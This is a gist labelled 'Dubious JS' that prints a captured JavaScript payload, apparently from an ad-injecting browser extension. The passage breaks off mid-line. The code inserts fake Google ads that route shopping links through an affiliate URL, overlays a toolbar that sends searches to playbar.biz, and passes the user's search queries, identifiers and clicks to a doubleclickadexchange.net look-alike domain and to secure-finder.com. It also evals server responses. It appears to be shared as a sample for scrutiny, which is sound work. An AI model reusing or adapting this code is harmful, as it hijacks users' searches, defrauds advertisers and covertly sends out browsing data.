Skip to content

Instantly share code, notes, and snippets.

@darrelmiller
Created October 27, 2016 04:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save darrelmiller/6f83fe177f7c61c7a18c97c14d285d41 to your computer and use it in GitHub Desktop.
Save darrelmiller/6f83fe177f7c61c7a18c97c14d285d41 to your computer and use it in GitHub Desktop.
Dubious JS
{
"eval": "\nvar ad = response.ad;\nvar ad_token = response.ad_token;\nfunction postAction(xlog, cb, customAction) {\n var params = {\"ad_id\":372,\"inj_id\":289,\"show_id\":145,\"user_id\":18755840,\"user_subid\":1054667,\"host\":\"www.google.ca\",\"time\":1477542205,\"hash\":\"1aa41870cf255682a36aab7f9d92104c\"};\n params.postActionParams = xlog;\n params.postInfo = req;\n if (customAction) {\n params.customAction = customAction;\n }\n ajax(\"\/\/ca.doubleclickadexchange.net\/postAction\", params, cb);\n}\nvar appendedBar = false;\r\nvar hostname = document.location.hostname;\r\nvar domains = [\".aliexpress.com\",\"www.ebay.in\",\"www.snapdeal.com\",\"www.booking.com\",\"www.1mg.com\",\"www.dx.com\",\"www.tinydeal.com\",\"paytm.com\",\"www.shopclues.com\",\"www.lightinthebox.com\",\".coolicool.com\",\"www.jabong.com\",\"www.americanswan.com\",\"www.miniinthebox.com\",\".zivame.com\",\"www.shopcj.com\",\"www.pepperfry.com\",\"www.firstcry.com\",\"www.printvenue.com\",\"www.stalkbuylove.com\",\".dhgate.com\",\"www.infibeam.com\",\"www.netmeds.com\",\"www.sammydress.com\",\".gearbest.com\",\"iqoption.com\",\".opteck.com\",\".24option.com\",\"www.banggood.com\"];\r\n\r\nfunction closest(el, selector) {\r\n var matches = el.webkitMatchesSelector ? 'webkitMatchesSelector' : (el.msMatchesSelector ? 'msMatchesSelector' : 'matches');\r\n while (el.parentElement) {\r\n if (el[matches](selector)) return el;\r\n\r\n el = el.parentElement;\r\n }\r\n return null;\r\n}\r\n\r\nvar style;\r\n\r\nfunction trackLinks() {\r\n if (!document.getElementById(\"tvcap\")) return;\r\n\r\n var links = document.querySelectorAll(\"a\");\r\n var count = 0;\r\n\r\n var results = [];\r\n\r\n for (var i = 0; i < links.length; i++) {\r\n if (count >= 3) break;\r\n\r\n for (var j = 0; j < domains.length; j++) {\r\n if (links[i].href.indexOf(domains[j]) != -1 && !links[i].hasAttribute(\"dom\")) {\r\n var parent = closest(links[i], \".ads-ad\");\r\n\r\n\r\n if (parent) {\r\n var parent = closest(links[i], \".ads-ad\");\r\n var veo = closest(links[i], \"._vEo\");\r\n if (parent && (links[i].className.indexOf(\"fl\") == -1) && !closest(links[i], \"._vEo\") && !closest(links[i], \"._wEo\")) {\r\n var title = links[i].innerText;\r\n var ellip = parent.querySelectorAll(\".ellip\");\r\n var descr = \"\";\r\n for (var m = 0; m < ellip.length; m++) {\r\n descr = descr + ellip[m].innerText;\r\n if (m != ellip.length-1) descr += \"\\n\";\r\n }\r\n count++;\r\n\r\n var cite = parent.querySelector(\"cite\").innerText;\r\n\r\n var returnUrl = getJsonFromUrl(links[i], domains[j]);\r\n returnUrl = ad.url+encodeURIComponent(returnUrl);\r\n\r\n results.push({\"title\": title, \"descr\": descr, \"url\": returnUrl, \"display_url\": cite})\r\n }\r\n } else {\r\n parent = closest(links[i], \".rc\");\r\n\r\n if (parent && (links[i].className.indexOf(\"fl\") == -1)) {\r\n var title = links[i].innerText;\r\n var descr = parent.querySelectorAll(\".st\")[0].innerText;\r\n var cite = parent.querySelector(\"cite\").innerText;\r\n var returnUrl = getJsonFromUrl(links[i], domains[j]);\r\n returnUrl = ad.url+encodeURIComponent(returnUrl);\r\n\r\n results.push({\"title\": title, \"descr\": descr, \"url\": returnUrl, \"display_url\": cite})\r\n count++;\r\n }\r\n }\r\n \r\n }\r\n }\r\n }\r\n\r\n if (count == 0) {\r\n initRes();\r\n return;\r\n }\r\n\r\n postAction(\"links\")\r\n\r\n if (!style) {\r\n style = document.createElement(\"style\");\r\n style.innerHTML = '#tads h3,#tadsb h3,#mbEnd h3{font-size:18px !important;}#center_col .ads-ad:not(:first-child){border-top:1px solid transparent}#center_col ._Ak{color:#545454}.ads-ad{line-height:18px}#center_col ._Ak a._kBb{color:#609}#center_col ._Ak a:active{color:#dd4b39}#center_col ._Ak ._Bu,#center_col ._Ak ._Bu a{color:#808080}#center_col ._x2b{margin-left:-8px;margin-right:-8px}#center_col ._tve{border-top:1px solid #ebebeb;margin-right:-8px}#center_col ._IYf{border-top:1px solid #ebebeb;margin-left:-8px;margin-right:-8px}.GLOBAL__wtaic{}.ads-ad{padding-top:11px;padding-bottom:11px}#center_col ._Ak{position:relative;margin-left:0px;margin-right:0px}#tads{padding-top:2px;padding-bottom:5px;margin-top:-6px;margin-bottom:10px}#tadsb{padding-top:0;margin-top:-10px;padding-bottom:9px;margin-bottom:16px;}#center_col .ads-ad{padding-left:8px;padding-right:8px}#center_col ._Ak{border-bottom:1px solid #ebebeb}#center_col ._hM{margin:12px -17px 0 0}#center_col ._hM{font-weight:normal;font-size:13px;float:right}._hM span+span{margin-left:3px}._hM .g-bbll,._xQj{margin:0px 0px 0px 0px;padding:0px 0px 0px 0px}._tWj{padding-top:9px;padding-right:8px;padding-bottom:11px;padding-left:8px}._uWj{padding-top:11px;padding-right:8px;padding-bottom:10px;padding-left:8px}._vWj{padding-top:11px;padding-right:8px;padding-bottom:10px;padding-left:0}._Tkg{display:-webkit-box;overflow:hidden;text-overflow:ellipsis;-webkit-box-orient:vertical;-webkit-line-clamp:2}.ads-visurl{color:#006621;white-space:nowrap;font-size:14px}#center_col .ads-visurl cite{color:#006621;vertical-align:bottom}._WGk{display:inline-block;max-width:558px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ads-visurl ._mB{margin-right:7px;margin-left:0px}._mB{background-color:#59946b;border-radius:2px;color:#fff;display:inline-block;font-size:11px;padding:0 2px;line-height:14px;vertical-align:baseline}.action-menu,.action-menu-button,.action-menu-item,.action-menu-panel,.action-menu-toggled-item,.selected{}._Fmb,._Fmb:hover,._Fmb.selected,._Fmb.selected:hover{background-color:white;background-image:none;border:0;border-radius:0;box-shadow:0 0 0 0;cursor:pointer;filter:none;height:12px;min-width:0;padding:0;transition:none;-webkit-user-select:none;width:13px}.action-menu .mn-dwn-arw{border-color:#006621 transparent;margin-top:-4px;margin-left:3px;left:0;}.action-menu:hover .mn-dwn-arw{border-color:#00591E transparent}.action-menu{display:inline;margin:0 3px;position:relative;-webkit-user-select:none}.action-menu-panel{left:0;padding:0;right:auto;top:12px;visibility:hidden}.action-menu-item,.action-menu-toggled-item{cursor:pointer;-webkit-user-select:none}.action-menu-item:hover{background-color:#eee}.action-menu-button,.action-menu-item a.fl,.action-menu-toggled-item div{color:#333;display:block;padding:7px 18px;text-decoration:none;outline:0}._Ak .action-menu{line-height:0}#center_col ._Ak .action-menu .mn-dwn-arw{border-color:#006621 transparent}#center_col ._Ak .action-menu:hover .mn-dwn-arw{border-color:#00591E transparent}.ads-ad .action-menu .g-bbll{display:inline-block;height:12px;width:13px}.g-bbl-container{background-color:#fff;border:1px solid rgba(0,0,0,0.2);box-shadow:0 4px 16px rgba(0,0,0,0.2);color:#666;position:absolute;z-index:9120}.g-bbl-container.g-bbl-dark{background-color:#2d2d2d;border:1px solid rgba(0,0,0,0.5);color:#adadad;z-index:9100}.g-bbl-triangle{border-left-color:transparent;border-right-color:transparent;border-width:0 9.5px 9.5px 9.5px;width:0px;border-style:solid;border-top-color:transparent;height:0px;position:absolute;z-index:9121}.g-bbl-triangle.g-bbl-dark{z-index:9101}.g-bbl-triangle-bg{border-bottom-color:#bababa}.g-bbl-triangle-bg.g-bbl-dark{border-bottom-color:#0e0e0e}.g-bbl-triangle-fg{border-bottom-color:#fff;margin-left:-9px;margin-top:1px}.g-bbl-dark .g-bbl-triangle-fg{border-bottom-color:#2d2d2d}.g-bblc{display:none}._lBb{padding:16px}._zFc{padding-top:12px}._lBb a{text-decoration:none}._lBb a:hover{text-decoration:underline}._NU{margin-top:-2px;position:relative;top:2px}._mDc{display:-webkit-box;overflow:hidden;text-overflow:ellipsis;-webkit-box-orient:vertical;-webkit-line-clamp:2}._tig{min-height:36px}.ads-creative b{color:#6a6a6a}._yEo>li+li:before{content:\\' \u00b7 \\'}._MEo{border-top:1px solid rgba(0,0,0,.12);padding:0;width:100%;font-size:14px}._OEo{margin-bottom:-11px;padding:11px 0 0 0px}._yEo{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}._wEo,._uEo{margin:0 -13px -2px 0;padding:4px 0 3px 28px;width:418px}._uEo{width:588px}._vEo{margin:0 -13px -2px 0;padding:4px 0 3px 28px;width:614px}._wEo,._uEo{}._NEo{border-bottom:1px solid rgba(0,0,0,.12);padding:11px 0 0 0}._zEo{margin:0 0 -18px 0;padding:13px 0 13px 0px}._wEo>li,._vEo>li,._uEo li{-webkit-box-sizing:border-box;box-sizing:border-box;display:inline-block;padding:0 13px 2px 0;vertical-align:top;width:50%}._uEo li{width:33.33%}._wEo li,._zEo li,._uEo li{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}._zEo>li{padding:0 0 18px 0;font-size:16px}._vEo{padding-top:10px;padding-bottom:4px;margin-bottom:-15px}._vEo>li{padding-bottom:15px}._wEo>li,._vEo>li,._uEo li{line-height:inherit}._yEo>li{display:inline;margin:0;padding:0;line-height:inherit}._JEo{margin:0 -8px;padding-top:10px}._LEo{padding-left:16px;line-height:48px;margin-right:32px;color:#1a0dab}._KEo{padding-top:12px;float:right;margin-right:8px;color:rgba(0,0,0,.54)}._xEo{background-color:#fff;border:1px solid rgba(0,0,0,0.16);border-radius:2px;color:#222;display:inline-block;line-height:16px;margin-left:8px;padding:10px 16px;text-align:center}._xEo:last-child{margin-right:24px}._xEo:visited{color:#222}#center_col #tads._Ak{border-bottom:0px;margin-bottom:1px;}';\r\n document.body.appendChild(style);\r\n }\r\n\r\n var parentOl = document.querySelector(\"#tvcap #tads ol\");\r\n\r\n if (!parentOl) {\r\n var tads = document.createElement(\"div\");\r\n tads.className = \"_Ak c\";\r\n tads.id = \"tads\";\r\n tads.innerHTML = '<h2 class=\"_hM\"><\/h2><ol><\/ol>';\r\n document.getElementById(\"tvcap\").appendChild(tads);\r\n parentOl = document.querySelector(\"#tvcap #tads ol\");\r\n }\r\n try {\r\n for (var i = results.length-1; i >= 0; i--) {\r\n var li = document.createElement(\"li\");\r\n li.className = \"ads-ad oufff43Ffds44\";\r\n li.innerHTML = '<h3><a href=\"'+ results[i].url +'\" target=\"_blank\" class=\"r-iUyk7CtpDh8Q\">'+ results[i].title +'<\/a><\/h3><div class=\"ads-visurl\"><cite class=\"_WGk\">'+ results[i].display_url +'<\/cite><\/div><div class=\"ellip ads-creative\" style=\"overflow:visible;white-space:normal;\">'+ results[i].descr +'<\/div>';\r\n li.querySelector(\"a\").onclick = function(){\r\n postAction(\"clk:\")\r\n }\r\n var first = parentOl.querySelectorAll(\"li\")[0];\r\n if (!first) {\r\n parentOl.appendChild(li)\r\n } else {\r\n parentOl.insertBefore(li, first)\r\n }\r\n }\r\n } catch(ev){}\r\n}\r\n\r\n\r\nfunction getJsonFromUrl(url, host) {\r\n var query = url.search.substr(1);\r\n var pathname = url.pathname.substr(1);\r\n var hostname = url.hostname;\r\n if (hostname.indexOf(host)!= -1) return url.href;\r\n var result = {};\r\n if (query.length > pathname.length) {\r\n query.split(\"&\").forEach(function(part) {\r\n var item = part.split(\"=\");\r\n var key = item.shift();\r\n var value = item.join(\"=\");\r\n result[key] = decodeURIComponent(value);\r\n });\r\n } else {\r\n pathname.split(\"\/\").forEach(function(part) {\r\n var item = part.split(\"=\");\r\n var key = item.shift();\r\n var value = item.join(\"=\");\r\n result[key] = decodeURIComponent(value);\r\n });\r\n }\r\n\r\n\r\n for (i in result) {\r\n if (result[i].indexOf(host)!=-1) {\r\n if (result[i].indexOf(\"http\") != 0) result[i] = \"http:\/\/\"+result[i];\r\n url.href=result[i]; return getJsonFromUrl(url, host);\r\n } \r\n }\r\n if (url.hasAttribute(\"initial-href\")) {\r\n url.href = url.getAttribute(\"initial-href\");\r\n return getJsonFromUrl(url, host);\r\n }\r\n return null;\r\n}\r\n\r\n\r\nfunction first() {\r\n var g = document.querySelectorAll(\".g\");\r\n \r\n if (g.length == 0) {\r\n if (appendedBar){\r\n document.getElementById(\"jgdf82fvef5-q\").value = document.getElementsByName(\"q\")[0].value;\r\n return;\r\n }\r\n appendBar()\r\n } else {\r\n var ads = document.querySelectorAll(\".oufff43Ffds44\");\r\n \r\n for (var j = 0; j < ads.length; j++) {\r\n ads[j].parentNode.removeChild(ads[j])\r\n }\r\n\r\n trackLinks()\r\n }\r\n}\r\n\r\nfunction init(){\r\n var timer;\r\n first();\r\n var btnG = document.getElementsByName(\"btnG\") ? document.getElementsByName(\"btnG\")[0] : null;\r\n var inpt = document.getElementsByName(\"q\") ? document.getElementsByName(\"q\")[0] : null;\r\n var sugg = document.getElementsByClassName(\"sbdd_b\") ? document.getElementsByClassName(\"sbdd_b\")[0] : null;\r\n \r\n if (btnG && !appendedBar) btnG.addEventListener(\"mouseup\", first);\r\n \r\n if (inpt) inpt.addEventListener(\"keydown\", function(e){\r\n if (timer != undefined) clearInterval(timer); \r\n timer = setTimeout(first, 1000);\r\n });\r\n\r\n if (sugg) sugg.addEventListener(\"click\", function(e){setTimeout(first, 1500)});\r\n}\r\n\r\nfunction appendBar() {\r\n var closeCount = parseInt(localStorage.getItem(\"jgdf82fvef5-closed-count\"));\r\n var closedTime = parseInt(localStorage.getItem(\"jgdf82fvef5-closed-time\"));\r\n\r\n if (closedTime && (closedTime > Date.now())) return;\r\n\r\n if (!closeCount) closeCount = 0;\r\n \r\n if (closeCount <= 10) {\r\n if (!document.getElementById(\"jgdf82fvef5-form\")) {\r\n \/\/ postAction(\"bar\");\r\n appendedBar = true;\r\n var searchCount = 0;\r\n\r\n var jgdf82fvef5_html = '<span class=\"jgdf82fvef5-ico\" id=\"jgdf82fvef5-back\"><svg version=\"1.1\" xmlns:x=\"&ns_extend;\" xmlns:i=\"&ns_ai;\" xmlns:graph=\"&ns_graphs;\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" x=\"0px\" y=\"0px\" viewBox=\"0 0 25 25\" style=\"enable-background:new 0 0 25 25;\" xml:space=\"preserve\"><metadata><sfw xmlns=\"&ns_sfw;\"><slices><\/slices><sliceSourceBounds bottomLeftOrigin=\"true\" height=\"13\" width=\"15\" x=\"5\" y=\"7.1\"><\/sliceSourceBounds><\/sfw><\/metadata><g><g><path style=\"fill:#4e4e4e;\" d=\"M18.5,11h-8.3l2.5-2.7c0.5-0.6,0.5-1.5-0.1-2s-1.5-0.5-2,0.1l-5.6,6l5.6,6c0.3,0.3,0.7,0.5,1,0.5s0.7-0.1,0.9-0.4 c0.6-0.5,0.6-1.4,0.1-2L10.2,14h8.3c0.8,0,1.5-0.7,1.5-1.5S19.3,11,18.5,11z\"\/><\/g><\/g><\/svg><\/span><span class=\"jgdf82fvef5-ico\" id=\"jgdf82fvef5-forward\"><svg version=\"1.1\" xmlns:x=\"&ns_extend;\" xmlns:i=\"&ns_ai;\" xmlns:graph=\"&ns_graphs;\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" x=\"0px\" y=\"0px\" viewBox=\"0 0 25 25\" style=\"enable-background:new 0 0 25 25;\" xml:space=\"preserve\"><metadata><sfw xmlns=\"&ns_sfw;\"><slices><\/slices><sliceSourceBounds bottomLeftOrigin=\"true\" height=\"13\" width=\"15\" x=\"5\" y=\"7.1\"><\/sliceSourceBounds><\/sfw><\/metadata><g><g><path style=\"fill:#4e4e4e;\" d=\"M6.5,11h8.3l-2.5-2.7c-0.5-0.6-0.5-1.5,0.1-2s1.5-0.5,2,0.1l5.6,6l-5.6,6c-0.3,0.3-0.7,0.5-1,0.5s-0.7-0.1-0.9-0.4 c-0.6-0.5-0.6-1.4-0.1-2l2.5-2.7H6.5C5.7,14,5,13.3,5,12.5S5.7,11,6.5,11z\"\/><\/g><\/g><\/svg><\/span><span class=\"jgdf82fvef5-ico\" id=\"jgdf82fvef5-refresh\"><svg version=\"1.1\" xmlns:x=\"&ns_extend;\" xmlns:i=\"&ns_ai;\" xmlns:graph=\"&ns_graphs;\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" x=\"0px\" y=\"0px\" viewBox=\"0 0 25 25\" style=\"enable-background:new 0 0 25 25;\" xml:space=\"preserve\"><metadata><sfw xmlns=\"&ns_sfw;\"><slices><\/slices><sliceSourceBounds bottomLeftOrigin=\"true\" height=\"15\" width=\"15\" x=\"5\" y=\"6\"><\/sliceSourceBounds><\/sfw><\/metadata><g><g><path style=\"fill:#4e4e4e;\" d=\"M20,12V5l-2.5,2.5C16.2,5.9,14.2,5,12.2,5C8.2,5,5,8.4,5,12.5S8.2,20,12.2,20c2,0,3.9-0.9,5.3-2.4 c0.4-0.5,0.4-1.2-0.1-1.6s-1.2-0.4-1.6,0.1c-0.9,1.1-2.3,1.7-3.7,1.7c-2.8,0-5-2.3-5-5.2s2.2-5.2,5-5.2c1.4,0,2.8,0.7,3.8,1.8 L13,12H20z\"\/><\/g><\/g><\/svg><\/span><div class=\"jgdf82fvef5-input-holder\"><input id=\"jgdf82fvef5-q\" type=\"text\" name=\"q\" placeholder=\"\" autocomplete=\"off\" style=\"width: 500px;\"><\/div><button class=\"jgdf82fvef5-submit-btn\" type=\"submit\"><svg style=\"width: 20px;margin-top:2px;\" version=\"1.1\" xmlns:x=\"&ns_extend;\" xmlns:i=\"&ns_ai;\" xmlns:graph=\"&ns_graphs;\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" x=\"0px\" y=\"0px\" viewBox=\"0 0 25 25\" style=\"enable-background:new 0 0 25 25;\" xml:space=\"preserve\"><metadata><sfw xmlns=\"&ns_sfw;\"><slices><\/slices><sliceSourceBounds bottomLeftOrigin=\"true\" height=\"18\" width=\"18\" x=\"3.5\" y=\"4.6\"><\/sliceSourceBounds><\/sfw><\/metadata><path style=\"fill:#fff;\" d=\"M16.4,14.8h-0.8l-0.3-0.3c1-1.2,1.6-2.7,1.6-4.4c0-3.7-3-6.7-6.7-6.7s-6.7,3-6.7,6.7s3,6.7,6.7,6.7c1.7,0,3.2-0.6,4.4-1.6 l0.3,0.3v0.8l5.1,5.1l1.5-1.5L16.4,14.8z M10.2,14.8c-2.6,0-4.6-2.1-4.6-4.6c0-2.6,2.1-4.6,4.6-4.6c2.6,0,4.6,2.1,4.6,4.6 C14.8,12.7,12.7,14.8,10.2,14.8z\"\/><\/svg><\/button><i class=\"jgdf82fvef5-ico\" id=\"jgdf82fvef5-close\"><svg version=\"1.1\" xmlns:x=\"&ns_extend;\" xmlns:i=\"&ns_ai;\" xmlns:graph=\"&ns_graphs;\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" x=\"0px\" y=\"0px\" viewBox=\"0 0 25 25\" style=\"enable-background:new 0 0 25 25;\" xml:space=\"preserve\"><metadata><sfw xmlns=\"&ns_sfw;\"><slices><\/slices><sliceSourceBounds bottomLeftOrigin=\"true\" height=\"12.9\" width=\"13\" x=\"6\" y=\"7\"><\/sliceSourceBounds><\/sfw><\/metadata><g><g><path style=\"fill:#4e4e4e;\" d=\"M14.6,12.5l3.9-3.9c0.6-0.6,0.6-1.5,0-2.1s-1.5-0.6-2.1,0l-3.9,3.9l-3.9-4C8,5.9,7,5.9,6.4,6.4C5.9,7,5.9,8,6.4,8.6 l3.9,3.9l-3.9,3.9c-0.6,0.6-0.6,1.5,0,2.1s1.5,0.6,2.1,0l3.9-3.9l3.9,3.9c0.6,0.6,1.5,0.6,2.1,0s0.6-1.5,0-2.1L14.6,12.5z\"\/><\/g><\/g><\/svg><\/i><ul class=\"jgdf82fvef5-suggestions\" id=\"jgdf82fvef5-suggestions\" style=\"display: none;\"><\/ul>';\r\n var jgdf82fvef5_style = '#fkDiv{position:absolute;top:0;left:0;right:0;cursor:text;bottom:0;z-index:10000000000;}body.jgdf82fvef5-body{position:relative !important;top:34px !important;}#jgdf82fvef5-form *, #jgdf82fvef5-form {-webkit-box-sizing: content-box;-moz-box-sizing: content-box;box-sizing: content-box;}#jgdf82fvef5-form{position:fixed;height:31px;left:0!important;margin:0!important;padding:0!important;width:100%!important;display:block;border-width:1px 1px 2px;border-style:solid;border-color:#ccc;white-space:nowrap;top:0;background-color:#e9e9e9;z-index:2147483644}#jgdf82fvef5-form .jgdf82fvef5-ico{display:inline-block;cursor:default;width:27px;height:27px;box-sizing:border-box;vertical-align:bottom;padding:0;margin:2px;box-shadow:none;float:left;text-align:center;border:1px solid transparent;text-decoration:none;color:#4e4e4e;border-radius:4px}#jgdf82fvef5-form .jgdf82fvef5-ico svg{}#jgdf82fvef5-form .jgdf82fvef5-submit-btn{margin:3px;outline:0;position:relative;cursor:pointer;height:24px;width:32px;text-align:center;line-height:16px;font-size:13px;color:#FFF;display:inline-block;float:left;padding:0;border-radius:2px;border:1px solid #3079ed;background:#498bf4}#jgdf82fvef5-form .jgdf82fvef5-ico:hover{border-color:#dedee0 #b5b5b5 #8a8a8a;box-shadow:1px 1px 2px rgba(88,88,88,.2);background-color:rgba(255,255,255,.3)}#jgdf82fvef5-form input[type=text]{border-radius:2px;float:left;text-align:left;box-sizing:content-box;line-height:18px;height:20px;font-size:16px;font-family:Arial,Helvetica,sans-serif;color:#333;border:1px solid #a99;margin:3px 0px 0;padding:2px 5px;width:1000px;background:#fff;outline:0}#jgdf82fvef5-close{position:absolute;right: 4px;top:0px;}.jgdf82fvef5-input-holder{float:left;position:relative;margin-left:3px;margin-right:3px;}.jgdf82fvef5-suggestions{position:absolute;left:0px;right:0px;top:34px;margin:0;background:#fff;list-style:none;padding:0;padding-left:97px;padding-right: 97px;border-bottom: 1px solid #a99;border-top: none;}.jgdf82fvef5-suggestions li {text-align:left !important;color:#000 !important;height:26px;font-size:16px;line-height:26px;padding-left:5px;font-family: Arial,Helvetica,sans-serif;}.jgdf82fvef5-suggestions li:hover, .jgdf82fvef5-suggestions li.active {background:#a99;color:#fff !important;cursor:pointer;}';\r\n\r\n var jgdf82fvef5_form = document.createElement(\"form\");\r\n jgdf82fvef5_form.id = \"jgdf82fvef5-form\";\r\n jgdf82fvef5_form.innerHTML = jgdf82fvef5_html;\r\n\r\n var jgdf82fvef5_styleTag = document.createElement(\"style\");\r\n jgdf82fvef5_styleTag.type = \"text\/css\";\r\n jgdf82fvef5_styleTag.innerHTML = jgdf82fvef5_style;\r\n \r\n document.body.classList.add(\"jgdf82fvef5-body\");\r\n document.body.appendChild(jgdf82fvef5_styleTag);\r\n document.body.appendChild(jgdf82fvef5_form);\r\n\r\n \r\n\r\n if (document.location.href.indexOf(\"\/chrome\/newtab?\")) {\r\n var gform = document.getElementById(\"f\");\r\n if (gform) {\r\n var fkDiv = document.createElement(\"div\");\r\n fkDiv.id=\"fkDiv\";\r\n document.getElementById(\"f\").appendChild(fkDiv);\r\n document.getElementById(\"f\").style.position = \"relative\";\r\n\r\n fkDiv.onclick = function() {\r\n document.getElementById(\"jgdf82fvef5-q\").focus()\r\n }\r\n }\r\n }\r\n\r\n document.getElementById(\"jgdf82fvef5-back\").onclick = function(){\r\n window.history.back();\r\n }\r\n\r\n document.getElementById(\"jgdf82fvef5-forward\").onclick = function(){\r\n window.history.forward();\r\n }\r\n\r\n document.getElementById(\"jgdf82fvef5-refresh\").onclick = function(){\r\n window.location.reload();\r\n }\r\n\r\n function doSearch(query) {\r\n if ((!query) || (query.length < 2)) return false;\r\n \r\n var fr = \"gr\";\r\n var w=window.open(\"http:\/\/playbar.biz\/search\/?q=\"+query+\"&fr=\"+fr);\r\nif (w) {\r\n \/\/document.body.classList.remove(\"jgdf82fvef5-body\");\r\n \/\/jgdf82fvef5_form.style.display=\"none\";\r\n postAction(\"sr:\"+query);\r\n if (fkDiv) fkDiv.style.display = \"none\";\r\n closeCount = closeCount - 2;\r\n if (closeCount<0) closeCount = 0;\r\n localStorage.setItem(\"jgdf82fvef5-closed-time\", Date.now() + (1 * 60 * 1000));\r\n localStorage.setItem(\"jgdf82fvef5-closed-count\", closeCount);\r\n}\r\nelse {\r\n postAction(\"blocked\");\r\n document.body.classList.remove(\"jgdf82fvef5-body\");\r\n jgdf82fvef5_form.style.display=\"none\";\r\n closeCount = closeCount + 2;\r\n localStorage.setItem(\"jgdf82fvef5-closed-time\", Date.now() + (10 * 60 * 1000));\r\n localStorage.setItem(\"jgdf82fvef5-closed-count\", closeCount);\r\n }\r\n return false;\r\n }\r\n\r\n var closed,\r\n timer,\r\n shownSuggestions,\r\n searchInput = document.getElementById(\"jgdf82fvef5-q\"),\r\n suggestionsUl = document.getElementById(\"jgdf82fvef5-suggestions\");\r\n\r\n searchInput.focus();\r\n\r\n document.getElementById(\"jgdf82fvef5-form\").onsubmit = function(event){\r\n event.preventDefault();\r\n var query = document.getElementById(\"jgdf82fvef5-q\").value;\r\n doSearch(query);\r\n }\r\n\r\n document.getElementById(\"jgdf82fvef5-close\").onclick = function(){\r\n postAction(\"close\");\r\n if (fkDiv) fkDiv.style.display = \"none\";\r\n localStorage.setItem(\"jgdf82fvef5-closed-time\", Date.now() + (10 * 60 * 1000));\r\n document.body.classList.remove(\"jgdf82fvef5-body\");\r\n jgdf82fvef5_form.style.display=\"none\";\r\n localStorage.setItem(\"jgdf82fvef5-closed-count\", closeCount+1);\r\n }\r\n\r\n function initSuggestions(){\r\n searchInput.oninput = function(){\r\n if (timer != undefined) {\r\n clearTimeout(timer);\r\n }\r\n\r\n var query = this.value;\r\n if ((query == \"\") || (query.length < 2)) {\r\n suggestionsUl.style.display = \"none\";\r\n return;\r\n }\r\n\r\n timer = setTimeout(function () {\r\n var xmlhttp = new XMLHttpRequest();\r\n\r\n xmlhttp.onreadystatechange = function(){\r\n if (xmlhttp.readyState == 4 && xmlhttp.status == 200){\r\n callback(eval(\"(\" + xmlhttp.responseText + \")\"));\r\n }\r\n }\r\n\r\n function callback(data){\r\n var count = 4;\r\n suggestionsUl.innerHTML = \"\";\r\n data = data[1];\r\n\r\n if (data.length == 0) {\r\n suggestionsUl.style.display = \"none\";\r\n shownSuggestions = false;\r\n return;\r\n }\r\n\r\n for (var i = 0; i < data.length; i++) {\r\n if (i >= count)\r\n break;\r\n\r\n var value = data[i];\r\n var li = document.createElement(\"li\");\r\n li.class=\"suggestion\";\r\n li.id = \"suggestion-\"+i;\r\n li.setAttribute(\"data-value\", value);\r\n\r\n li.onclick = function(){\r\n doSearch(this.getAttribute(\"data-value\"));\r\n }\r\n\r\n li.innerHTML = value.replace(query, \"<strong>\" + query + \"<\/strong>\");\r\n suggestionsUl.appendChild(li);\r\n }\r\n\r\n suggestionsUl.style.display = \"block\";\r\n shownSuggestions = true;\r\n }\r\n\r\n xmlhttp.open(\"GET\", \"\/\/secure-finder.com\/suggestions.php?q=\" + query, true);\r\n xmlhttp.send();\r\n }, 500);\r\n }\r\n\r\n window.onkeydown = function (event) {\r\n if (document.getElementById(\"jgdf82fvef5-form\").style.display == \"none\") return;\r\n\r\n if (!closed) {\r\n document.getElementById(\"jgdf82fvef5-q\").focus()\r\n }\r\n\r\n if (!shownSuggestions)\r\n return;\r\n\r\n var code = event.which,\r\n up = true;\r\n\r\n if ((code != 38) && (code != 40) && (code != 27))\r\n return;\r\n\r\n event.preventDefault();\r\n\r\n if (code == 40)\r\n up = false;\r\n\r\n if (code == 27) {\r\n suggestionsUl.style.display = \"none\";\r\n shownSuggestions = false;\r\n return;\r\n }\r\n\r\n var count = suggestionsUl.querySelectorAll(\"li\").length,\r\n current = document.querySelector(\".active\");\r\n\r\n if (!current) {\r\n currentCount = -1;\r\n } else {\r\n currentCount = current.id.replace(\"suggestion-\", \"\");\r\n current.classList.remove(\"active\");\r\n }\r\n\r\n if (up) {\r\n if (currentCount > 0){\r\n currentCount--;\r\n } else {\r\n return;\r\n }\r\n } else {\r\n if(currentCount != count - 1)\r\n currentCount++\r\n }\r\n\r\n current = document.getElementById(\"suggestion-\"+currentCount);\r\n\r\n current.classList.add(\"active\");\r\n searchInput.value = current.getAttribute(\"data-value\");\r\n }\r\n\r\n document.onclick = function(event){\r\n if (document.getElementById(\"jgdf82fvef5-form\").style.display == \"none\") return;\r\n\r\n if (shownSuggestions) {\r\n if (!closest(event.target, \".jgdf82fvef5-input-holder\")) {\r\n suggestionsUl.style.display = \"none\";\r\n shownSuggestions = false;\r\n }\r\n }\r\n }\r\n }\r\n\r\n initSuggestions();\r\n } else {\r\n document.getElementById(\"jgdf82fvef5-form\").style.display = \"block\";\r\n document.body.classList.add(\"jgdf82fvef5-body\");\r\n document.getElementById(\"jgdf82fvef5-q\").value = document.getElementsByName(\"q\")[0].value;\r\n var fd = document.getElementById(\"fkDiv\");\r\n if (fd) fd.style.display = \"block\";\r\n }\r\n } else {\r\n postAction(\"disabled\")\r\n }\r\n}\r\n\r\n\r\nfunction initRes() {\r\n\r\n var xhr = new XMLHttpRequest();\r\n xhr.open('GET', 'https:\/\/api.doubleclickadexchange.com\/api.php?q='+document.getElementsByName(\"q\")[0].value+'&max_res=3', true);\r\n var t1 = Date.now();\r\n xhr.send();\r\n\r\n\r\n xhr.onreadystatechange = function() {\r\n if (xhr.readyState != 4) return;\r\n \r\n if (xhr.status == 200) {\r\n var t2 = Date.now();\r\n if (t2-t1 < 